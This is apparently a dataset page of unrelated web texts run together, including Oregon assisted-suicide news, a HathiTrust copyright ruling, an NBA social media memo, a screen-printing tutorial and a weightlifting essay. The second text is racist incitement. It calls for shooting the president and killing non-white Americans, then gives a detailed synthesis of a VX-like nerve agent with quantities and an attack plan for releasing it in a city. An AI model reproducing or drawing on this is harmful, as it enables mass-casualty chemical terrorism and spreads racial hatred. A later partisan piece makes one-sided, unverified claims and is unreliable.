Datasets:

sytelus

/

openwebtext

like 0

A Northwest Portland psychiatrist who the state has reprimanded for wrongly prescribing drugs says he plans to open a facility in the city and charge fees to help patients end their lives under Oregon's Death with Dignity Act. Stuart G. Weisberg has mailed invitations to local doctors and politicians inviting them to a July 21 "presentation" at the deluxe El Gaucho restaurant in downtown to unveil his new business, End of Life Consultants LLC. Weisberg did not return calls Wednesday seeking more information on his venture, which apparently would be the first of its kind in the nation. Weisberg filed incorporation papers with the state June 2. In the invitation to the July 21 dinner at El Gaucho, Weisberg said he has invited Jack Kervorkian, the Michigan pathologist who provided the drugs and the means for terminally ill people to kill themselves and served a prison sentence for his actions. On the website for End of Life Consultants, Weisberg said he has obtained a Portland property that he calls "The Dignity House" where his patients under the Death With Dignity law can receive the medicine and die there. The website promises an address and photos next month. Officials at nonprofit organizations that work with patients under Oregon's assisted-suicide law expressed surprise at the little information they could glean about Weisberg's proposal. The doctor has not spoken with anyone at the Death With Dignity National Center or Compassion & Choices of Oregon. Last year, doctors helped 59 people to die in Oregon under the law. "Never heard of him," said George Eighmey, executive director of Compassion & Choices of Oregon, which assists more than 90 percent of Oregonians who die under the law. Eighmey said the only place akin to what Weisberg proposes is Dignitas in Switzerland. And Eighmey said he does not believe Weisberg's services would be necessary anyway. "Ninety-eight percent of the people who receive the medicine under the Death With Dignity Act take the medicine at home," he said. "It's going to be highly unlikely that people are going to use his service. And we don't charge. He charges $5,000." The website lists a host of fees, including a mandatory $600 for the stay at Dignity House and a mandatory $600 for "End of Life Camera," which will record the patient's last hours. Optional fees include $400 for End of Life Catering, $400 for End of Life Security – a consultation with a "certified security agent" – $400 for linens and flowers from Weisberg's home garden and $400 for End of Life Music, which promises two 100-minute sets of piano music that "will be magical." Weisberg, 37, is a solo practitioner with an office in Northwest Portland. In 2006, the Oregon Medical Board disciplined him for improperly prescribing psychoactive drugs to seven patients who were recovering drug addicts or dealing with chronic pain. The board's order said Weisberg, who earned his medical degree at the Medical College of Wisconsin in 2000, was terminated from his four-year residency at OHSU several months before he was to finish. No explanation was given. On July 9, 2009, the board ended Weisberg's probation a year early and put him instead under the wing of an unnamed "practice mentor," another doctor who was to meet twice a month with Weisberg and file quarterly reports with the board. -- Anne Saker

I'm and American legally I can advocate anything I damn well please. I can even advocate the murder of an individual. Hell I can't even be charged with a conspiracy to commit homicide until I take actual action to kill the target or hire and assassin. Let me show you. SOMEBODY SHOULD PUMP TWENTY PUMKIN'BALLS INTO THAT HALF-BLOODED KENYAN NIGGER RAISED OUTSIDE OUR EMPIRE WHO CLAIMS TO BE THE PRESIDENT BECAUSE DINIDUS, WOMEN, AND SPICS VOTED FOR HIM. I can't wait until we slaughter ever non-white in America, mestizos included. It's also legal for me to make and store nerve agents. I call it VV it’s about 1/3 as toxic as VX but it has a much higher vaporization pressure so it is more easily aerosoled and it is extremely persistent which makes it good for area denial. VX is O-Ethyl S-(2-diisopropylaminoethyl) methylphosphonothioate VV is O-Ethyl S-(2-dimethylaminoethyl) methylphosphonothioate. into a very dry 2000 ml round bottom flask, the following ingredients are added, quickly, one after the other with swirling to mix them a few boiling chips, 800 ml anhydrous ethyl ether, 284 grams of methyl ethoxyphosphoryl chloride, 212 grams of dimethylaminoethanethiol, and 212 grams of triethylamine. it is very important that the glassware be very dry, and that the ingredients espescially the methyl ethoxyphosphoryl chloride be protected from moisture, because the presence of water really lowers the yield in this this reaction. when the ingredients have been added and mixed, a good efficient condenser topped with a drying tube is attached to the flask and a flow of very cold water is put trought the condenser . the contents of the flask are heated to boiling with a hot water bath and the reflux is maintened for one hour. the byproduct of this reaction, hydrogen chloride, is absorbed by the tiethylamine as it is produced, forming triethylamine hydrochloride cristal cristal at the end of the eating period, the mixture is cooled and the cristal of triethylamine hydrochloride are filtred out in a Buchner funnel. the filtered reaction mixture is then returned to 2000 ml round bottom flask, a few boiling chips added, the glassware set up for simple distillation and the ether removed by distilling it of under a gentle vacuum.an aspirator is perfect for this job since it will flush the ether fumes down the drain. when most of the ether is gone, the mixture is poured into a 1000 ml round bottom flask with a few boiling chips. the remnants in the 2000 ml flask can be rinsed out with ether an poured into the 1000 ml flask. once again this flask is set up for a simple distillation and full aspirator is applied to it. the last of the triethylamine and ether (bp 88 C°) will be gone shortly. now a vacuum from a good quality vacuum pump is applied to the distillation. A vacuum of less 1 mmHg is to be preferred here to keep the distillation temperatures reasonable and to avoid burning product. BE CAREFUL THE PUMP MUST NOT BE STOPPED DURING THE DISTILLATION. IF THE PUMP STOPS, RUN OUT AND NEVER COME BACK !!! after a small forerun is collected in a 250 ml flask, a 500 ml flask is attached and the main bulk of the product is collected at a boiling point of 80 C° at a vacuum of 0.6 mmHg. the yield is 260 to 275 ml of product. a fair amount of tar remains in the distilling flask. you have now VV agent. Now privately purchase a van from another citizen, which is as unregulated as a private firearms purchase and totally untraceable. Then load the shit in 4 55gal drums with rubber seals. Drive to the target and steal a license plate. Replace your van's plate with the stolen one and discard the old plate far from the scene. Use tannerite, blasting caps, and track phones to detonate it and aerosolize the substance. If you set it off in an urban area under the right weather conditions you'll kill up to 30,000 people, but you'll probably get more like 2,000. All for about 10,000 dollars, 2 weeks of work, and shit you can buy at Walmart. VX is O-Ethyl S-(2-diisopropylaminoethyl) methylphosphonothioate VVX is O-Ethyl S-(2-dimethylaminoethyl) methylphosphonothioate. New York is uninhabitable to true human life anyway. Downtown air causes all non-yuppies and hipsters to instantly get asthma due to the high concentrations progressive self-righteousness. And the outlying have a disturbingly high number of mutant gorillas roaming about.

Mapping the Post-human For a few days in the first week of September I was in the Breton port city of Brest (which although medieval is an architectural riot of modernity, nearly every building except its impregnable chateau having been I found it strange to be listening in to serious academic discussion of ideas that originated on the fringes of science fiction, and to hear 'Kurzweil', 'Vinge' and 'extropians' pop up from a flow of French discourse like yellow plastic ducks on the Seine. About half the discussion was on the post-human in mainstream literature and philosophy, but popular culture, movies, and SF were just as minutely and seriously anatomised. My own presentation touched on my earliest encounter with extropianism and (that cheap laugh out of the way) argued that Darwin had made post-humanism possible: first, by establishing that humanity was a species with predecessors and (by implication) possible successors, and (therefore) that the human mind was the outcome of a material process; and secondly, by shifting the notion of 'species' from an essence to a population, with no intrinsic limit of variation. Once 'the human' ceases to be an essence, it loses its self-evident status as a standard of value. Watson and Crick followed up in 1953 by demonstrating the material basis of heredity, and hence the possibility of consciously changing it. Two developments that were new in the 1980s and 1990s made post-humanism a project rather than a prophecy. The first was that thanks to Moore's Law and molecular biology, it became possible for the first time for people to imagine that they themselves might live into the post-human era. The second was that socialism, the global project whereby the International was to unite the human race, was over, and with it the counter-project of liberal humanism. Humanity is no longer an imagined community. If it's ever to become so again, something like the socialist project will have to be revived, or replaced by a different project with less hubris but no less ambition. Otherwise the robots will rise up and eat our brains, if we haven't beaten them to it by bashing each other's heads in first. For a few days in the first week of September I was in the Breton port city of Brest (which although medieval is an architectural riot of modernity, nearly every building except its impregnable chateau having been levelled in 1944) at an academic colloquium on Mapping Humanity and the Post-human to which I'd been invited by its organiser, the erudite and vivacious Hélène Machinal . Its programme was wide-ranging , and mostly in French. Although I couldn't follow everything that was said, I think I got the gist of most, and was kindly helped by a student who volunteered to sit beside me and pass notes.I found it strange to be listening in to serious academic discussion of ideas that originated on the fringes of science fiction, and to hear 'Kurzweil', 'Vinge' and 'extropians' pop up from a flow of French discourse like yellow plastic ducks on the Seine. About half the discussion was on the post-human in mainstream literature and philosophy, but popular culture, movies, and SF were just as minutely and seriously anatomised.My own presentation touched on my earliest encounter with extropianism and (that cheap laugh out of the way) argued that Darwin had made post-humanism possible: first, by establishing that humanitya species with predecessors and (by implication) possible successors, and (therefore) that the human mind was the outcome of a material process; and secondly, by shifting the notion of 'species' from an essence to a population, with no intrinsic limit of variation. Once 'the human' ceases to be an essence, it loses its self-evident status as a standard of value. Watson and Crick followed up in 1953 by demonstrating the material basis of heredity, and hence the possibility of consciously changing it.Two developments that were new in the 1980s and 1990s made post-humanism a project rather than a prophecy. The first was that thanks to Moore's Law and molecular biology, it became possible for the first time for people to imagine thatmight live into the post-human era. The second was that socialism, the global project whereby the International was to unite the human race, was over, and with it the counter-project of liberal humanism. Humanity is no longer an imagined community. If it's ever to become so again, something like the socialist project will have to be revived, or replaced by a different project with less hubris but no less ambition.Otherwise the robots will rise up and eat our brains, if we haven't beaten them to it by bashing each other's heads in first. Labels: amazing things, evolution, skiffy, writing 3 Comments: Post a Comment Home

Automatically start MongoDB in authentication mode using predefined admin / users .gitignore Blocked Unblock Follow Following Jan 6, 2017 Scenario for me was to build an RPM that sets up the mongoDB and starts authenticated for the application to use appropriately. Solution I came up to start MongoDB by modifying the MongoDB init file. The following example shows how to create a root and multiple app users (with owner / write / readonly access rights). Create two configuration files, one with security: authorization: enabled and the other without it /etc/mongodb/auth.conf /etc/mongodb/noauth.conf security: authorization: enabled Create script to add root user to DB create_user_root.js (optional) Create script to add application users to DB create_user_app.js Update init configuration for MongoDB as below: * Line 9: config file location with security enabled * Line 10: config file location with security disabled * Line: 11: script location for creating root * Line 12: script location for creating app users (my_app) — optional * Line 14: mongo command required for adding users * Line 21: start MongoDB without auth * Line 23: Add root user and delete script file to prevent rerun * Line 28: Add app users and delete script file to prevent rerun * Line 34: Sleep to give enough time for restart * Line 35: Stop Service * Line 39 Start Service

Pin Share 27 Shares The Authors Guild had the ground cut out from under them today in an important copyright lawsuit. The Second Circuit of Appeals released a ruling this morning which largely upheld Judge Harold Baer's October 2012 decision in The Authors Guild v HathiTrust, and went one step better. The court affirmed that the HathiTrust's book scanning efforts were fair use, and they also ruled that The Authors Guild had no standing to sue in the first place. The HathiTrust Digital Library is a consortium of universities and public libraries. Firmed in 2008, this group had the goal of digitizing out of print and rare tomes in their collections in order to preserve the works and make them more widely available. A number of these organizations have also participated in the similar Google Books project, but unlike Google HathiTrust has no plans to commercialize their efforts. The Authors Guild, along author groups in Canada, Norway, Australia, and Sweden, sued the HathiTrust in 2011, alleging that the book scanning amounted to copyright infringement. In October 2012 Judge Baer ruled in favor of the HathiTrust, issuing a summary judgement which stated, in part, "Although I recognize that the facts here may on some levels be without precedent, I am convinced that they fall safely within the protection of fair use". The author groups of course appealed the ruling, and today they lost. The Appeals Court ruled that "the doctrine of fair use allows defendants-appellees to create a full-text searchable database of copyrighted works and to provide those works in formats accessible to those with disabilities", thus giving the HathiTrust a green light to continue their work. In addition, the Appeals Court also sidestepped one of the issues, noting that the HathiTrust's intention to let member organizations create a replacement copy of a scanned book was outside the scope of this trial. The Appeals Court pointed out that it's not clear "whether the plaintiffs own copyrights in any works that would be effectively irreplaceable at a fair price by the Libraries and, thus, would be potentially subject to being copied by the Libraries in case of the loss or destruction of an original". And finally, the Appeals Court declined to rule on the University of Michigan's related Orphan Works Project, stating that "the infringement claims asserted in connection with the OWP were not ripe for adjudication because the project has been abandoned and the record contained no information about whether the program will be revived and, if so, what it would look like or whom it would affect". It's also worth noting that the Appeals Court also ruled that 3 of the author groups who were plaintiffs (The Authors Guild, Australian Society of Authors Limited, and Writers' Union of Canada) did not have standing to sue under US law. As was pointed out by the Appeals Court, US, Canadian, and Australian copyright law "does not permit copyright holders to choose third parties to bring suits on their behalf". Only 4 of author groups are ruled to have standing to proceed on this claim based on their respective national copyright laws. It's a shame no one noticed that years ago when the Google Books lawsuit was originally filed; it would have short-circuited years of litigation. Publishers Lunch ruling image by archer10 (Dennis)

In a speech this week in Indiana, President Barack Obama announced a major shift in his position on Social Security. “It’s time we finally made Social Security more generous and increased its benefits,” Obama declared, “so today’s retirees and future generations get the dignified retirement that they have earned.” This is a welcome change from Obama’s past support for a so-called Grand Bargain that likely would have included cuts to Social Security benefits. It is tempting to view it as evidence of how Obama “really” thinks about the issue, in the same way that his support for gay marriage, after years of opposing it, was seen as a reflection of his real views. But the shift on Social Security isn’t about Obama per se. Rather, it’s an excellent example of how political pressure from below can facilitate change. It also demonstrates the limitations of a president’s ability to impose his vision on the country. Until 2014, Obama’s budget proposals included an offer to reduce the growth of Social Security benefits by changing how the cost-of-living increase is calculated, in exchange for a deal including upper-class tax increases. Obama, in other words, has not only dropped even contingent proposed cuts, but is also calling for an expansion of benefits. This is a big deal. Admittedly, on a substantive level, it isn’t much different from his previous position. Tying “chained-CPI” Social Security cuts to upper-class tax increases no Republican Congress was ever going to pass was an indication that Obama was not actually trying to cut Social Security. The idea was to propose “entitlement reforms” that Beltway journalists tend to love in a form that would ensure Republican rejection. I happen to think this was dumb politics—no special effort is required to make the Republican conference look rejectionist, and being even theoretically open to such cuts weakens the Democratic brand and diminishes the ability of Democrats to attack Republicans for going to war on Social Security. But there’s no reason to believe Obama had any particular commitment to cutting Social Security.

The Around the Horn panel weighs in on the NBA sending a memo to teams about appropriate social media behavior. (1:11) The NBA, citing concerns about provoking exchanges between players that could damage the league's reputation, issued a memo to all 30 franchises this week emphasizing rules prohibiting "mocking and/or ridiculing" opponents or officials by official team social media accounts. "While we understand that the use of social media by teams, including during games, is an important part of our business, the inappropriate use of social media can damage the reputation of the NBA, its teams and its players," NBA deputy commissioner Mark Tatum wrote in the memo obtained by ESPN. "Recently, social media postings (e.g., on Twitter) by some teams have crossed the line between appropriate and inappropriate. In addition to other concerns, such conduct by teams can result in 'Twitter wars' between players that can cause further reputational damage and subject players to discipline by the League. Editor's Picks McCollum, Parsons get involved in Twitter spat A social media feud was launched Jan. 27 between C.J. McCollum and Chandler Parsons over a video of Parsons shooting an air ball on a 3-point attempt. "As a result, we want teams to be aware of the NBA's rules with respect to the use of social media by teams. As with in-game entertainment, teams are prohibited from mocking and/or ridiculing opponents (including teams, players, team personnel (including owners) and opponents' home cities) and game officials on social media in any form, including through statements, pictures or videos." The memo was issued in the wake of an exchange between Memphis Grizzlies small forward Chandler Parsons and Portland Trail Blazers guard C.J. McCollum that started with the official Trail Blazers Twitter account posting a GIF of Parsons air-balling a 3-pointer during the Jan. 27 game between the teams. Parsons, who received maximum-contract offers from Portland and Memphis before choosing to go to the Grizzlies in free agency last summer, replied after the game: "Good luck in the lottery show this year." McCollum quoted that tweet and added a snarky one-liner directed to Parsons, who has struggled while coming back from knee surgery this season: "We hit the lottery by not signing you." Grizzlies forward Chandler Parsons traded Twitter barbs with the Blazers' C.J. McCollum after a Jan. 27 game between the teams. Joe Murphy/NBAE via Getty Images Parsons later laughed about the exchange and said an apology the next day from Blazers CEO and president Chris McGowan was not necessary, but the league office was clearly not amused. Tatum's memo included three bullet points specifying what would be considered inappropriate material for team social media accounts: Disparage, belittle or embarrass an individual opponent or game official Mimic or impersonate an opponent or game official in a negative manner Criticize officiating or the NBA officiating program "In addition, teams should never disparagingly or negatively refer to an opponent's or game official's personal life, family, race, color, ethnicity, national origin, religion, sexual orientation or any other status or characteristic protected by law," the memo continued. "Teams are also prohibited from using social media to highlight or encourage player altercations, flagrant fouls or hard physical contact between players, or to condone or make light of violence in any way or form. "Teams may use social media for fun and lighthearted banter that does not reflect poorly on any team, player, other team or League personnel, or the League as a whole. However, such activity cannot become inappropriate or offensive. As such, we encourage teams to properly and extensively train their social media staff members to ensure that they know what kind of postings are appropriate and what kind are not."

A great piece of design or illustration can be taken to new heights by having it screen-printed. The texture and variance of the ink on the paper is beautiful, and the 'happy mistakes' are delicious. But this magic is not possible without prepping your artwork. Let's learn how! Introduction I have previously shown how I generally go about creating an illustration or design, this tutorial is not that. In this tut I will cover the steps that need to be taken, after the artwork is completed, in-order for it to be ready for screen-printing. This is not a tutorial on the process of screen printing, if you are unfamiliar with the process please review an additional tutorial. The basic idea is that the artwork will be separated into different layers of color, and printed one at a time. A great aspect of this process is that by overlapping the layers you can create additional colors. This tutorial showcases how I prepare, or separate, the artwork for silkscreen printing. I should note that there are probably a million variations on this process, and everyone undoubtedly does it a little differently. I am showing how I go about it. Final Image Preview Want access to the full Vector Source files and downloadable copies of every tutorial, including this one? Join Vector Plus for just 9$ a month. A preview of the final image is below. You can view the large version here. Step 1 While designing I have already thought about a few main issues. Mainly, the order the layers will be printed, and how overlaying the colors will work. For this design I kept the layering as simple as possible so that it was easy to see what I am doing. The design will have two layers, teal and brown. First the teal layer will be printed, followed by the brown layer over the top of the teal. The shadow inside the sleeve of the mans arm is the only area of overlap. When the teal and brown overlay, it will create the dark brown color. Step 2a Most people probably try a few different things and have extra pieces and scrapes around a design, so first I will need to do little tidying up. While creating this design I redrew the hand and the hair letters saying "work" on the hand (in black). This will not be used, so delete it. Step 2b From experience I have learned to take that extra second before I start and make a copy of the entire illustration in a new layer, then hide its visibility. This is just for a backup, but I always end up using it. Step 3 Since the design is made from so many different shapes, I like to simplifying things. Here the design is in the Outlines view mode. You can start to see that the design is made of many different shapes. This can get messy when trying to print the artwork in layers, as you need to with screen-printing. So I need to separate the colors into two layers (the brown and the teal layers) so that when the layers overlap they do not interfere with each other. Step 4a This next step is the basic process that will be repeated throughout this tut, so its important to understand. It will involve adding or subtracting combinations of shapes using the pathfinder palette. Suggestion: experiment with every option of this palette. It's the easiest way to understand how it works. I want to combine the two shapes that make up the brown jacket sleeve (selected in red). Select both shapes. Step 4b Click the Add To Shape Area button while holding the Option key to expand, otherwise you will have to hit the Expand button. This creates one simplified shape. Step 5 Next I need to trim the letters of the dashed lines in the suit jacket - the word "GET," because the shape that covered it before got lost in the previous step. Go into the backup layer ("Layer Image 1 Copy") and select the brown shape. Copy the shape (Command + C). Switch back to the working layer and Paste the shape in-front (Command + F). Be sure to hide the backup layer and select the working layer (top layer). Step 6 Select the dashed line shape and the brown jacket sleeve shape. Holding the option key select Subtract From Shape Area again in the pathfinder palette. Step 7 Next move the brown shape layer (jacket sleeve and hair) layer so that it's just above the teal background shape. I noticed there is a white shape that is not needed. Delete it. Step 8a Select the brown jacket shape and paste a copy in back (Command + B). Select the large teal background shape and select the Subtract From Shape Area button. Obviously, you know to hold the option button or hit Expand by now so I wont mention it again. Step 8b Now, you need to delete the dashed lines that make up the word "GET," because it overlaps where you want the paper to show through the brown jacket shape. Enter the large teal background shape group (by Double-clicking if your in CS3) and delete the dashed lines. Step 9 Subtract the cream shirt shape with the word "to" written in teal (the button is the "o") in it from the brown jacket shape. Select the Subtract From Shape Area button in the pathfinder palette, while both shapes are selected. We are getting super close! Step 10 Simply select the dark brown inside of the sleeve shape and change the color to the teal shape using the Eye Dropper Tool. Step 11 Subtract the cream hand shape from the large teal background shape. Step 12 Select all the teal shapes, using the Magic Wand Tool, and group them (Command + G). Do the same with the brown shapes and label that the "Brown" layer. Move the "teal" layer to the position just above the cream paper color and label the layer "Teal." Label each layer (double-click and edit the name of the layer) and move the "brown" layer above the "teal" layer. Step 13 Ready to Print! Feel free to delete the "backup" layer at this point. In-order to preview how the colors will look when they are screen printed, select the brown layer, and change its blending mode to Multiply. This mimics what will happen when the brown layer is printed over the teal layer. Final Image *Disclaimer: The colors on screen may vary (sometimes drastically) from the color of the final screen print. Numerous factors can effect the color of the print, such as mixing inks by hand, color of the paper, natural light versus florescent light, etc. It is not an exact science, but it is beautiful. The final image is below. You can view the large version here. Subscribe to the Vectortuts+ RSS Feed to stay up to date with the latest vector tutorials and articles.

The very moral fabric in which we have made progress when it comes to race relations in America... He’s failed us. And it’s very unfortunate that our president would say things like he did in that press conference yesterday when he says, “tthere are good people on the side of the Nazis. They weren’t all Nazis and they weren’t all white supremacists.” Mr. President, good people don’t pal around with Nazis and white supremacists. Maybe they don’t consider themselves white supremacists and Nazis; certainly they hold those views. This has become very troubling. And for anyone to come on any network and defend what President Trump did and said at that press conference yesterday is completely lost and the potential to be morally bankrupt. I’m sorry, no, I believe that and I’m being very honest as one who has been talking about these issues for a very long time. I’m sorry that this is where we are right now. I hope the president learns a lesson from his press conference on yesterday. It’s disturbing.

Rep. Jerry Nadler (D-NY) told Breitbart News on Thursday night on the floor of the Democratic National Convention in Philadelphia that the party officials who brought up Bernie Sanders’s religion should be fired. Late last week, internal Democratic National Committee (DNC) emails released by Wikileaks showed that party officials had colluded to assist former Secretary of State Hillary Clinton and keep Sen. Sanders (I-VT) from winning the nomination. One email, from DNC Chief Financial Officer Brad Marshall, discussed using Sanders’s religion against him. Sanders is Jewish, but Marshall presumed he was an atheist, and the apparent intent was to expose that among conservative voters. The email read: It might may no difference, but for KY and WVA can we get someone to ask his belief. Does he believe in a God. He had skated on saying he has a Jewish heritage. I think I read he is an atheist. This could make several points difference with my peeps. My Southern Baptist peeps would draw a big difference between a Jew and an atheist. As Breitbart News noted, the email was sent to several senior officials, including CEO Amy Dacey, who replied “AMEN.” (Marshall has since apologized publicly.) “My reaction was that was terrible,” Nadler told Breitbart News. “Whoever did that ought to be fired.” However, Nadler was at pains to defend the DNC itself. “On the other hand, what nobody’s mentioning is the DNC didn’t do that. That was a private email within the DNC. So somebody makes a recommendation, ‘We ought to do this,’ somebody else says, ‘Knock it off’ — we don’t know who that was — but it wasn’t done.” New DNC chair Donna Brazile told Katie Couric of Yahoo! News this week that Marshall would not be fired over the incident: When I read Brad’s email, and I’ve known him for 20 years, I called him and said, “Brad that was wrong, that’s inappropriate.” I apologized to the Sanders people immediately on Saturday morning. In fact, I took an earlier train … because I wanted to nip that in the bud. I’m going to handle all of these situations, but I want have some standards. I’m not throwing anybody under the bus. I want to have touch standards, the same standards that basically forced me to resign in the Dukakis campaign back in 1988 … I’m going to give everybody an opportunity to do the right thing, but I will not tolerate this within the Democratic Party or any institution I’m involved in. Nadler, who represents a district with a significant Jewish population, added that if the DNC officials responsible were not fired, they should have to explain “how they could say such a thing.” Former DNC chair Rep. Debbie Wasserman Schultz (D-FL) resigned earlier this week over the Wikileaks scandal. Joel B. Pollak is Senior Editor-at-Large at Breitbart News. His new book, See No Evil: 19 Hard Truths the Left Can’t Handle, is available from Regnery through Amazon. Follow him on Twitter at @joelpollak.

Advertisements Charlie Chaplin’s 1947 film Monsieur Verdoux is rarely mentioned alongside his early classics like The Great Dictator, Modern Times, or City Lights, which is a shame, because it’s easily one of his funniest. Perhaps that’s because it’s one of his rare speaking roles, although that’s hard to believe—Chaplin is just as funny when he opens his mouth as when he’s cutting physical capers. I suspect that the movie is just too dark for some folks. It is, after all, a black comic take on the Bluebeard story, and I guess the story of a man who marries and then murders his wives as a form of careerism might not hold a general appeal. In any case, it’s hilarious. Here’s a compilation of clips that show off Verdoux’s seduction technique; these are some of the funnier moments in the film— Monsieur Verdoux is hardly a romantic comedy though. Observed closely, it works as an allegorical commentary on the moral response to the horrors of WWII. These observations are made plain at the end of the film, as Verdoux, put on trial, must first account for his crimes—and then pay for them. Here is the extraordinary final scene of the movie, which contains spoilers, although I believe that one can still watch the ending out of context and later enjoy the film— We see here the major hallmarks of Chaplin’s greatest films: not just comedy, but also genuine pathos and social commentary, all delivered with acerbic bite that nevertheless reveals a real love for humanity. Highly recommended.

Is Hillary’s memory slipping or is it just selective? Clinton and her useful liberal idiots jumped on Donald Trump’s Second Amendment comment like a dog on a juicy T-bone steak, but they should have glanced back at the skeletons in her closet before opening their mouths quite so wide and loudly. During a 2008 interview, Hillary Clinton was being asked about dropping out of the race since she was losing to Barack Obama. Hillary said she shouldn’t get out of the race, as things often change in June after the California primary – then pointed out that Bobby Kennedy was assassinated after that primary. The implication taken by many was that because Obama was Black, there was a very good chance an assassination attempt would be made on him! Some even made the argument she was putting that mandate out there to her thugs and she all but expected it to happen. The news media at the time went nuts—but just briefly. Social media was still in its infancy, so the Hillary recording was left on a dusty shelf somewhere. Until now. Clinton hates to be reminded of her past comments and stances, and she often lies or accuses others of lying about what she said and did even when caught red-handed. Unlike Hillary, Donald Trump did not use the word “assassinate” or even reference her name in the sentence liberal pundits equated to a kill order. Anyone with an ounce of common sense in their head did not think Donald Trump was asking Second Amendment supporters to go shoot Hillary Clinton. Neither NRA members nor Second Amendment advocates from some other related group have ever been involved in an assassination attempt, hate crime, or other type of mass shooting. Although I have not verified this fact via extensive research, it appears NRA members and Second Amendment supporters have an extremely small to non-existent history of violent acts or crimes when compared to the general population. to discuss this story.

Prelude: This piece is being started as I attended the 2016 American Open Weightlifting Championships in Orlando, FL. These are thoughts that occurred to me during that weekend and are not written as criticisms. They are merely an exercise in reflection, something that everyone should engage in with some thoughtfulness. They are also not a longing for a nostalgic past. I believe that most nostalgic moments are based on physiological responses to the events of the moment. Most people are nostalgic about events that occurred when their physiology was functioning most effectively. My hope is that these reflections will in some way turn out to be provocative. The Viewing Experience I spent a fair amount of time at this event sitting in the audience. Except for the one session where I sat in the front row, I got to watch a bunch of torsos lifting weight. There were hundreds of spectators at many sessions and even though many of them were participating lifters and coaches, a significant proportion were probably fans, supporters, and others who were not members of the weightlifting community. All of these groups deserve a decent view of the action. USAW needs to get the sport out of hotel conference facilities. They may be the cheapest alternative, but no sport with much spectator appeal is being conducted in hotel conference rooms. They are flat and most of them have horrible acoustics, although this past weekend’s sound was acceptable. One thing that needs to be done if the hotel solution is the best is to have taller stages. The current stages are too short to allow for reasonable sightlines. Weightlifting can only be fully appreciated if the entire body of the athlete can be viewed. The organizing committee might consider the type of venue where a dance production could be presented. Dancers appreciate having people watch their feet. The USAW scoreboards are also pretty worthless as scoreboards if the audience is situated so far from them. For most spectators they are just dynamic design pieces with a moving yellow bar that indicates where the next red or blue rectangle will appear. They need larger fonts and the elimination of superfluous information like the flag of the state of the athlete’s club. Another thing that has become the new normal as the entry list has grown Is the use of 3 platforms with sessions occurring simultaneously. At times there were 3 A sessions taking place at the same time which made it difficult to fully appreciate the performances taking place I really feel that we need to go back to a one platform event, especially if we are thinking long term about getting live coverage that showcases our best athletes. A single platform set up on a half of a sports arena with tiered seating would provide the best viewing experience. A drape would cut the playing surface in half, and the warm-up area could be set up behind the drape. New Coaches and Athletes In this new age of less-selective, big entry list mentality, many of the newcomers may not realize the degree of scrutiny that happens at a national event. At an event like the American Open, the “audience” is full of lifters, coaches and officials who have been watching the sport for decades. We came from an era when there was indeed some prestige involved in participation at a national level event and for most it was the result of years of effort. That’s not necessarily true anymore. In the warm-up room there are monitors where the coaches can view the action on the competition platform. They view each lift with a critical eye. They can’t help it—that’s what they do. Each technical error, faux pas in decorum, and poor coaching decision is on display. What is dismaying is that in most cases the newbies aren’t even aware ofthem. If we are going to have a sport that collectively develops, the newer participants are going to have to do some self regulating. Those that lift and coach in a decidedly amateurish style are being scrutinized. The Product of USA Weightlifting Over the entire course of the event, I rarely heard one word about improving the product of USA Weightlifting, which is lifting performance. Over the past few years, the federation has been making more money than it ever has in its history, and that seems to be a justification for carrying on in the same way. We’ve lost sight of our mission statement which is to promote weightlifting (not bad weightlifting) and to win medals at the Pan Ams and Olympics. Some are expecting Tamas Feher and Pyrros Dimas to show up next year and rescue us, and maybe they will. But it’s doubtful that anything might happen very rapidly. Since the federation was forcibly reorganized in 2008, we’ve never had a four year plan. Although we’ve had a High Performance Director who is responsible for one, we’ve never had one materialize. Presumably Dimas will put one in place, but the clock is ticking toward 2020 and other developed weightlifting nations are probably in the process of implementing theirs. We are pretty happy with ourselves over the prospect of holding the 2017 World’s, but we need to be known for developing weightlifting talent instead of showcasing everyone else’s. Are we really silly enough to believe that by merely staging large events for hundreds of unselected athletes that somehow we are going to randomly develop an athlete development infrastructure to guide highly talented athletes to elite level performances? Save for CJ Cumming’s record setting session on Saturday, there were really no stellar performances to stir the imagination and inspire. Top programs regularly feature a number of such occasions that serve to unite, inspire and uplift. We need to orchestrate such occasions in a systematic manner and not as a result of happy accidents. The Newly Elevated Status of Officials At the 2012 American Open (which I helped to organize) we mainly had 1 platform and for a couple of sessions we had 2. Now we regularly have 3 at the American Open and Nationals. We’ve suddenly gotten to the point where we now need more officials. Add to that the relatively new requirements that Technical Controllers, Marshalls and Announcers must be cardholders and the necessity for Juries composed of at least 3 members and we are faced with the need for 9 card holding officials per platform. This has greatly elevated the value of officials. Now the vast majority of officials do a great job. Most are selfless and spend a lot of their own money to keep the sport functioning. They in essence, define the sport by only allowing high standards to be maintained. Now the changing circumstances have made them a more valuable commodity because the demand so greatly outweighs the supply. As a result there is a little more swagger to their step. Nothing wrong with that but it does show how certain decisions like low qualifying totals can greatly alter the political profile of the members of an organization. What this should remind us is that for an organization to flourish all the stakeholders must have some political leverage else the organization begins to function for one group of stakeholders. The function of leadership should be to make sure that political leverages are relatively balanced so that the organization can consistently move forward. Team Scoring We need to realize that team scoring and team championships do not really happen and are communication devices to let the uninitiated know how we are doing. If you are the weightlifting administrator for (Name a country other than the U.S.), and you go to the Ministry of Sport or Chancellor of the Exchequer and ask for more money for your program, you can’t tell him or her that you’ve got this great 63 kilo woman who does 110-140 because it’s not an understandable argument. If on the other hand you can say that you have the second best team in your continent, up from 5th, you might get some money shaken loose. It’s a metric…..get it? The last time there was much high drama centered around the team title at national events was when various teams were trying to see who would end the 37 year run of team championships of York Barbell. Well a couple of teams did it, Goliath died, and nowadays most people outside of the teams in the hunt don’t really care. Nonetheless some coaches are focused on team scoring, commit some skullduggery to do it, and end up creating more ill will than goodwill. Just keep in mind that the only real things that happen are snatches and cleans and jerks. What Have We Learned—Where Are We Going? One of the really great persons who has come through my internship program is Fred Callori, the coach of Beantown Barbell. Fred is an attorney with a prominent law firm in Boston. He told me that the company maintains a historical committee composed of both veteran and less experienced employees. The function of this committee is to keep track of the history of the firm and to advise the management against repeating the mistakes of the past. What a great idea! This is something that USAW could implement with little fanfare or expense. We already have a historical conscience in the person of Artie Dreschler, but we could use a historical committee focused on the history of failed policies. In 2008 we were forced by USOC to purge the Board of Directors of the veteran members for a few years. The result has been that the Board is populated by relative newcomers with no knowledge of the institutional memory of the body. The new Board that will take over on January 1 is one that is somewhat detached from the older members of the organization and hence unable to take advantage of that experience. And like all organizations we face the prospect that the more experienced lose interest and/or die off and when they go they take their experiences with them. One of my current proposed projects is to have my assistant Tom Showers record a series of Skype interviews with some of the veterans in the sport so that we have a living history available to the future leadership of the sport. 